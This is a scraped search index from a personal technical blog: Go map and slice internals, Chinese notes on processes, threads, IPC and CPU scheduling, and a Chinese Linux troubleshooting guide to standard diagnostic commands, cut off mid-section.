style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#57606a\"\u003e// overflowed\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003enewcap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e\u0026lt;=\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#0550ae\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\t\u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003enewLen\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003ereturn\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003enewcap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#1f2328\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003ch2 id=\"map\"\u003eMap\u003c/h2\u003e\n\u003cdetails class=\"code-fold\"\u003e\n  \u003csummary\u003eGO\u003c/summary\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"background-color:#f7f7f7;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-go\" data-lang=\"go\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#cf222e\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003eMap\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003estruct\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003eused\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003euint64\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#57606a\"\u003e// The number of filled slots\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003eseed\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003euintptr\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#57606a\"\u003e// the hash seed, computed as a unique random number per map.\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#57606a\"\u003e// The directory of tables.\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#57606a\"\u003e// Normally dirPtr points to an array of table pointers\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#57606a\"\u003e// dirPtr *[dirLen]*table\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003edirPtr\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003eunsafe\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003ePointer\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003edirLen\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003eint\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#57606a\"\u003e// 1 \u0026lt;\u0026lt; globalDepth\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003eglobalDepth\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003euint8\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#57606a\"\u003e// The number of bits to use in table directory lookups.\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003eglobalShift\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003euint8\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#57606a\"\u003e// The number of bits to shift out, 64 - globalDepth\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003ewriting\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003euint8\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#57606a\"\u003e// detect the race.\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003etombstonePossible\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003ebool\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#57606a\"\u003e// whether a table in this map contains a tombstone.\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#fff\"\u003e\t\u003c/span\u003e\u003cspan style=\"color:#1f2328\"\u003eclearSeq\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#cf222e\"\u003euint64\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e \u003c/span\u003e\u003cspan style=\"color:#57606a\"\u003e// version number, used to detect map clears during iteration.\u003c/span\u003e\u003cspan style=\"color:#fff\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#1f2328\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/details\u003e\n\u003ch3 id=\"swiss-table\"\u003eSwiss Table\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003erefer: \u003ca href=\"https://golang.google.cn/blog/swisstable\"\u003eFaster Go maps with Swiss Tables\u003c/a\u003e\u003c/p\u003e","title":"Go"},{"content":"Spring 容器启动流程\n","permalink":"https://buvidk1234.github.io/posts/spring/","summary":"\u003cp\u003e\u003ca href=\"https://blog.csdn.net/buvidk1234/article/details/154915428\"\u003eSpring 容器启动流程\u003c/a\u003e\u003c/p\u003e","title":"Spring"},{"content":"虚拟内存 进程 资源分配的基本单位。每个进程拥有独立的地址空间、文件描述符表、信号处理器等资源，进程之间彼此隔离。\n进程的状态包括：创建、就绪、运行、阻塞、终止。\n上下文切换 进程上下文切换需要保存和恢复的内容：\nCPU 寄存器（程序计数器 PC、栈指针 SP、通用寄存器等） 虚拟内存映射（页表基址寄存器，需刷新 TLB） 内核栈 进程控制块（PCB）中的状态信息 由于涉及页表切换和 TLB 刷新，进程切换的开销较大（通常在微秒级）。\n进程间通信 进程拥有独立的地址空间，因此需要通过操作系统提供的 IPC 机制来通信：\n方式 特点 适用场景 管道（Pipe） 半双工，父子进程间使用 简单的单向数据流 命名管道（FIFO） 半双工，无亲缘关系限制 不相关进程间通信 消息队列 有格式的消息，可按类型读取 结构化数据传递 共享内存 最快的 IPC 方式，需配合同步机制 大量数据交换 信号量（Semaphore） 用于同步，控制对共享资源的访问 互斥与同步 信号（Signal） 异步通知机制 事件通知（如 SIGKILL） Socket 支持不同主机间通信 网络通信 线程 CPU 调度的基本单位。同一进程内的线程共享地址空间、文件描述符和堆内存，但各自拥有独立的栈、程序计数器和寄存器组。\n上下文切换 线程上下文切换只需保存和恢复：\nCPU 寄存器（PC、SP、通用寄存器） 线程栈指针 由于不涉及页表切换和 TLB 刷新（同进程内的线程共享地址空间），线程切换比进程切换快得多。\n线程间通信 同一进程内的线程共享地址空间，可以直接读写共享变量，但需要同步机制来避免竞态条件：\n互斥锁（Mutex）：保证同一时刻只有一个线程访问临界区 读写锁（RWLock）：允许多个读者并发，写者独占 条件变量（Condition Variable）：让线程等待某个条件成立后再继续执行，配合互斥锁使用 信号量（Semaphore）：控制并发访问数量 协程 运行在用户态的轻量级线程。协程的调度完全由用户程序控制，不需要陷入内核，因此切换开销极小。\n与线程的关键区别：\n线程 协程 调度方 操作系统内核 用户程序 切换方式 抢占式 协作式（主动让出） 栈大小 固定（通常 1-8 MB） 动态增长（初始通常 2-8 KB） 并发模型 抢占式多任务 协作式多任务 创建开销 较大（内核参与） 极小（用户态完成） 上下文切换 协程切换只需在用户态保存和恢复少量寄存器（PC、SP 及少量通用寄存器），不涉及系统调用和内核态切换，开销通常在纳秒级。\n典型实现：Go 的 goroutine 采用 GMP 模型，将大量协程（G）多路复用到少量操作系统线程（M）上执行，由调度器（P）负责协程的分配。\n调度 不同类型的系统有不同的调度目标，因此采用不同的调度算法。\n批处理系统中的调度 目标：最大化吞吐量，最小化平均周转时间。没有用户交互，任务可以长时间占用 CPU。\n先来先服务（FCFS）：按到达顺序执行，简单但可能导致\u0026quot;护航效应\u0026quot;（convoy effect）——短任务被长任务阻塞 最短作业优先（SJF）：优先执行预计运行时间最短的作业，平均等待时间最优但需要预知运行时间 最短剩余时间优先（SRTF）：SJF 的抢占版本，新到达的短作业可以抢占当前作业 交互式系统中的调度 目标：最小化响应时间，保证公平性。用户期望每次操作都能快速得到反馈。\n时间片轮转调度（Round Robin）：每个进程分配一个时间片（通常 10-100 ms），用完即切换。时间片太小会导致切换开销过大，太大则退化为 FCFS 优先级调度：为每个进程分配优先级，高优先级先执行。需要防止低优先级进程饥饿（可通过老化机制解决） 多级反馈队列调度（MLFQ）：设置多个优先级队列，新进程进入最高优先级队列；如果用完时间片则降到下一级队列，如果主动让出则保持当前级别。兼顾了响应时间和吞吐量 实时系统中的调度 目标：满足截止时间（deadline）。正确但迟到的结果等于错误结果。\n硬实时：必须绝对保证在截止时间前完成（如航空控制、ABS 刹车系统） 软实时：偶尔错过截止时间可以容忍（如视频播放、音频流） 常用算法：速率单调调度（RMS）（静态优先级）、最早截止时间优先（EDF）（动态优先级） ","permalink":"https://buvidk1234.github.io/posts/operating-system/","summary":"\u003ch2 id=\"虚拟内存\"\u003e虚拟内存\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"virtual memory\" loading=\"lazy\" src=\"/images/virtual_memory.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"进程\"\u003e进程\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"process\" loading=\"lazy\" src=\"/images/process.png\"\u003e\u003c/p\u003e\n\u003cp\u003e资源分配的基本单位。每个进程拥有独立的地址空间、文件描述符表、信号处理器等资源，进程之间彼此隔离。\u003c/p\u003e\n\u003cp\u003e进程的状态包括：创建、就绪、运行、阻塞、终止。\u003c/p\u003e\n\u003ch3 id=\"上下文切换\"\u003e上下文切换\u003c/h3\u003e\n\u003cp\u003e进程上下文切换需要保存和恢复的内容：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eCPU 寄存器（程序计数器 PC、栈指针 SP、通用寄存器等）\u003c/li\u003e\n\u003cli\u003e虚拟内存映射（页表基址寄存器，需刷新 TLB）\u003c/li\u003e\n\u003cli\u003e内核栈\u003c/li\u003e\n\u003cli\u003e进程控制块（PCB）中的状态信息\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e由于涉及页表切换和 TLB 刷新，进程切换的开销较大（通常在微秒级）。\u003c/p\u003e\n\u003ch3 id=\"进程间通信\"\u003e进程间通信\u003c/h3\u003e\n\u003cp\u003e进程拥有独立的地址空间，因此需要通过操作系统提供的 IPC 机制来通信：\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e方式\u003c/th\u003e\n          \u003cth\u003e特点\u003c/th\u003e\n          \u003cth\u003e适用场景\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e管道（Pipe）\u003c/td\u003e\n          \u003ctd\u003e半双工，父子进程间使用\u003c/td\u003e\n          \u003ctd\u003e简单的单向数据流\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e命名管道（FIFO）\u003c/td\u003e\n          \u003ctd\u003e半双工，无亲缘关系限制\u003c/td\u003e\n          \u003ctd\u003e不相关进程间通信\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e消息队列\u003c/td\u003e\n          \u003ctd\u003e有格式的消息，可按类型读取\u003c/td\u003e\n          \u003ctd\u003e结构化数据传递\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e共享内存\u003c/td\u003e\n          \u003ctd\u003e最快的 IPC 方式，需配合同步机制\u003c/td\u003e\n          \u003ctd\u003e大量数据交换\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e信号量（Semaphore）\u003c/td\u003e\n          \u003ctd\u003e用于同步，控制对共享资源的访问\u003c/td\u003e\n          \u003ctd\u003e互斥与同步\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e信号（Signal）\u003c/td\u003e\n          \u003ctd\u003e异步通知机制\u003c/td\u003e\n          \u003ctd\u003e事件通知（如 SIGKILL）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eSocket\u003c/td\u003e\n          \u003ctd\u003e支持不同主机间通信\u003c/td\u003e\n          \u003ctd\u003e网络通信\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"线程\"\u003e线程\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"thread\" loading=\"lazy\" src=\"/images/thread.png\"\u003e\u003c/p\u003e\n\u003cp\u003eCPU 调度的基本单位。同一进程内的线程共享地址空间、文件描述符和堆内存，但各自拥有独立的栈、程序计数器和寄存器组。\u003c/p\u003e\n\u003ch3 id=\"上下文切换-1\"\u003e上下文切换\u003c/h3\u003e\n\u003cp\u003e线程上下文切换只需保存和恢复：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eCPU 寄存器（PC、SP、通用寄存器）\u003c/li\u003e\n\u003cli\u003e线程栈指针\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e由于\u003cstrong\u003e不涉及页表切换和 TLB 刷新\u003c/strong\u003e（同进程内的线程共享地址空间），线程切换比进程切换快得多。\u003c/p\u003e\n\u003ch3 id=\"线程间通信\"\u003e线程间通信\u003c/h3\u003e\n\u003cp\u003e同一进程内的线程共享地址空间，可以直接读写共享变量，但需要同步机制来避免竞态条件：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e互斥锁（Mutex）\u003c/strong\u003e：保证同一时刻只有一个线程访问临界区\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e读写锁（RWLock）\u003c/strong\u003e：允许多个读者并发，写者独占\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e条件变量（Condition Variable）\u003c/strong\u003e：让线程等待某个条件成立后再继续执行，配合互斥锁使用\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e信号量（Semaphore）\u003c/strong\u003e：控制并发访问数量\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"协程\"\u003e协程\u003c/h2\u003e\n\u003cp\u003e运行在用户态的轻量级线程。协程的调度完全由用户程序控制，不需要陷入内核，因此切换开销极小。\u003c/p\u003e","title":"Operating System"},{"content":"L1 日常排错篇 适用场景：服务连不上、启动报错、明显卡顿。\n1. 查死活与资源占用 ps -ef | grep \u0026lt;name\u0026gt; 用途：最基础的进程探测。看进程是否存在、看启动参数是否正确、看运行态的 PID。 top / htop 用途：看系统的整体大盘。 极客技巧：在 top 界面按 1 展开所有 CPU 核，按 P 找 CPU 消耗大户，按 M 找内存泄露元凶。htop 是其彩色增强版，支持鼠标和树状图（需安装）。 free -h 用途：看内存还剩多少。 避坑：不要看 free 列，直接看 available（系统真实可分配内存）。 2. 查网络与连通性 ss -lntp 用途：查本地监听端口。比老旧的 netstat 快百倍。排查\u0026quot;服务是否真起来了\u0026quot;、\u0026ldquo;谁占了 8080 端口\u0026rdquo;。 -l 仅显示监听状态，-n 不做域名反解（提速），-t 只看 TCP，-p 显示进程名和 PID。 ss -ant 用途：查看所有 TCP 连接的实时状态分布（ESTABLISHED / TIME_WAIT / CLOSE_WAIT 等）。 诊断技巧： TIME_WAIT 堆积过多 → 短连接并发太高，考虑开启 tcp_tw_reuse 或改用长连接。 CLOSE_WAIT 堆积 → 应用代码没有正确关闭连接（典型 Bug），需排查代码。 快速统计各状态数量： BASHss -ant | awk \u0026#39;{print $1}\u0026#39; | sort | uniq -c | sort -rn ss -s 用途：一行命令输出 TCP/UDP 连接数汇总统计，快速掌握全局连接规模。 BASH$ ss -s Total: 1024 TCP: 862 (estab 521, closed 12, orphaned 0, timewait 310) lsof -i :\u0026lt;port\u0026gt; 用途：报 Address already in use 时，一秒揪出占用该端口的凶手 PID。 nc -zv \u0026lt;ip\u0026gt; \u0026lt;port\u0026gt; 用途：纯 TCP 层的端口探活。不发数据，只测三次握手通不通（排查防火墙/安全组拦截的最快手段）。 curl -Iv \u0026lt;url\u0026gt; 用途：HTTP 层探活。-I 只拉取 Header 提速，-v 打印详细的 DNS 解析与握手过程。 curl -w（请求耗时拆分） 用途：精确测量一次 HTTP 请求各阶段的耗时，一行命令定界\u0026quot;慢在哪\u0026quot;。 BASH$ curl -o /dev/null -s -w \u0026#34;dns: %{time_namelookup}s\\ntcp: %{time_connect}s\\ntls: %{time_appconnect}s\\nttfb: %{time_starttransfer}s\\ntotal: %{time_total}s\\n\u0026#34; https://example.com dns: 0.028s # DNS 解析耗时 tcp: 0.045s # TCP 三次握手完成 tls: 0.097s # TLS 握手完成 ttfb: 0.312s # 首字节到达（服务端处理耗时） total: 0.340s # 整个请求完成 定界思路： dns 高 → DNS 解析慢，用 dig 排查是否解析链路有问题 tcp - dns 高 → 网络延迟大或连接建立慢，用 ping/nc 验证 ttfb - tls 高 → 服务端处理慢（最常见），查服务端日志、CPU、慢 SQL total - ttfb 高 → 响应体传输慢，查带宽是否打满（sar -n DEV） ping -c 4 \u0026lt;ip\u0026gt; 用途：最基础的 ICMP 连通性检测与延迟测量。 注意：很多云服务器默认禁 ping（安全组/iptables 屏蔽 ICMP），ping 不通 ≠ 网络不通，需配合 nc/curl 交叉验证。 dig / nslookup \u0026lt;domain\u0026gt; 用途：DNS 解析排查。服务连不上时，第一步确认域名是否解析到了正确的 IP。 极客技巧：dig +trace \u0026lt;domain\u0026gt; 从根域开始逐级追踪解析链路，排查 DNS 劫持或缓存污染。 ip addr / ip route 用途：查看网卡 IP 地址、子网掩码、路由表。替代已废弃的 ifconfig 和 route。 排查场景：多网卡环境确认流量走了哪张网卡、默认网关是否正确。 tcpdump -i eth0 port 80 -w dump.pcap 用途：终极网络定界工具。当业务层查不出为何丢包或超时，直接到底层网卡抓包，导出后用 Wireshark 分析时序。 3. 查日志与磁盘 tail -f /var/log/xxx.log 用途：实时追踪日志输出，排查启动报错或运行时异常。 进阶：tail -f log | grep --line-buffered 'ERROR' 实时过滤错误行；多日志同时追踪用 tail -f a.log b.log。 journalctl -u \u0026lt;service\u0026gt; -f 用途：查看 systemd 管理的服务日志。比翻日志文件更方便，支持时间过滤。 常用组合： -f：实时追踪 --since \u0026quot;10 min ago\u0026quot;：只看最近 10 分钟 -p err：只看错误级别以上 df -h / du -sh \u0026lt;path\u0026gt; 用途：df -h 查看各挂载点磁盘使用率，du -sh * 找出哪个目录最占空间。 避坑：df 显示磁盘满但 du 加起来不够？可能是已删除文件仍被进程持有（lsof +L1 排查）。 iostat 用途：最基础的磁盘读写查看，评估是否在疯狂写日志或落盘慢。 L2 高阶诊断篇 适用场景：系统负载飙升、偶发性延迟、无明显报错但疯狂卡顿。\n当线上出现诡异性能问题时，按以下顺序执行，可在 60 秒内快速框定瓶颈在 CPU、内存、磁盘还是网络。\n01. uptime — 全局负载定界 BASH$ uptime 16:40:00 up 10 days, load average: 12.05, 8.50, 4.20 看点：load average 代表想要运行的任务（进程）数量。在 Linux 上，这不仅包括想要使用 CPU 的进程，还包括阻塞在不可中断 I/O（通常是磁盘 IO）中的进程。它给出的是资源负载（需求）的高层概览，但仅凭它无法准确判断瓶颈，需配合后续工具。 阈值：三个数分别是 1/5/15 分钟的指数衰减移动平均值。如果 1 分钟值远高于 15 分钟值，说明负载在近期飙升；反之则可能已经错过了问题现场。 02. dmesg | tail — 内核级报错捕获 BASH$ dmesg | tail -n 10 [1880957.563150] perl invoked oom-killer: gfp_mask=0x280da, order=0, oom_score_adj=0 [...] [1880957.563400] Out of memory: Kill process 18694 (perl) score 246 or sacrifice child [1880957.563408] Killed process 18694 (perl) total-vm:1972392kB, anon-rss:1953348kB, file-rss:0kB [2320864.954447] TCP: Possible SYN flooding on port 7001. Dropping request. Check SNMP counters. 看点：查看内核环形缓冲区。 关键特征：Out of memory: Kill process（OOM）、TCP: time wait bucket table overflow（网络并发爆满）、Hardware Error。不要在应用日志里死磕，先看内核有没有把它干掉。 03. vmstat 1 — 虚拟内存与全局大盘 每秒打印一次系统宏观状态。\nBASH$ vmstat 1 procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu----- r b swpd free buff cache si so bi bo in cs us sy id wa st 4 0 0 512M 102M 1.2G 0 0 12 34 102 204 80 10 10 0 0 r (Run Queue)：正在 CPU 上运行以及等待 CPU 时间片的进程数。比 load average 更能反映 CPU 饱和度，因为它不包含 I/O 等待。若 r \u0026gt; CPU 核数，证明 CPU 饱和。 b (Blocked)：处于不可中断睡眠（通常在等磁盘 IO）的进程数。若 b 持续 \u0026gt; 0，说明存在 IO 瓶颈。 si, so (Swap)：换入和换出。如果这两个值非零，说明物理内存已经耗尽。 us, sy, id, wa, st：CPU 时间拆分——用户态、内核态、空闲、I/O 等待、被虚拟化偷走的时间。us + sy 可确认 CPU 是否繁忙；wa 持续偏高则指向磁盘瓶颈（CPU 空闲是因为任务在等待挂起的磁盘 I/O）；sy 超过 20% 值得深挖，可能是内核在低效地处理 I/O。 04. mpstat -P ALL 1 — CPU 核心失衡检查 BASH$ mpstat -P ALL 1 Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU) 07:38:49 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle 07:38:50 PM all 98.47 0.00 0.75 0.00 0.00 0.00 0.00 0.00 0.00 0.78 07:38:50 PM 0 96.04 0.00 2.97 0.00 0.00 0.00 0.00 0.00 0.00 0.99 07:38:50 PM 1 97.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 2.00 07:38:50 PM 2 98.00 0.00 1.00 0.00 0.00 0.00 0.00 0.00 0.00 1.00 07:38:50 PM 3 96.97 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 3.03 [...] 看点：拆解每个 CPU 核心的使用率。 诊断：如果发现某一个核 100%，其他核 0%，通常说明应用是单线程的，或者是网卡中断没有均衡分布（查软中断 %soft）。 05. pidstat 1 — 微观进程 CPU 溯源 BASH$ pidstat 1 Linux 3.13.0-49-generic (titanclusters-xxxxx) 07/14/2015 _x86_64_ (32 CPU) 07:41:02 PM UID PID %usr %system %guest %CPU CPU Command 07:41:03 PM 0 9 0.00 0.94 0.00 0.94 1 rcuos/0 07:41:03 PM 0 4214 5.66 5.66 0.00 11.32 15 mesos-slave 07:41:03 PM 0 6521 1596.23 1.89 0.00 1598.11 27 java 07:41:03 PM 0 6564 1571.70 7.55 0.00 1579.25 28 java 07:41:03 PM 60004 60154 0.94 4.72 0.00 5.66 9 pidstat 看点：当你通过 vmstat 发现系统 CPU 极高时，用此命令直接抓出现场正在狂吃 CPU 的具体 PID。比 top 滚动查看更清晰，方便事后追溯。 示例解读：%CPU 列是所有 CPU 核心的总和——上面 java 进程显示 1598%，意味着它吃掉了约 16 个核。 06. iostat -xz 1 — 块设备 IO 饱和度解剖 BASH$ iostat -xz 1 Device: rrqm/s wrqm/s r/s w/s rkB/s wkB/s avgrq-sz avgqu-sz await r_await w_await svctm %util sda 0.00 0.00 1200.00 3400.00 12000.00 34000.00 20.00 15.00 12.50 5.00 15.14 0.21 98.5% r/s, w/s, rkB/s, wkB/s：每秒读写次数和读写吞吐量，用于评估工作负载特征——性能问题可能仅仅是因为施加了过大的负载。 await：I/O 平均响应时间（毫秒），包含排队时间和服务时间。这是应用层真正感知到的延迟。 超出预期的平均时间可能是设备饱和或设备故障的信号。 avgqu-sz：平均请求队列长度。大于 1 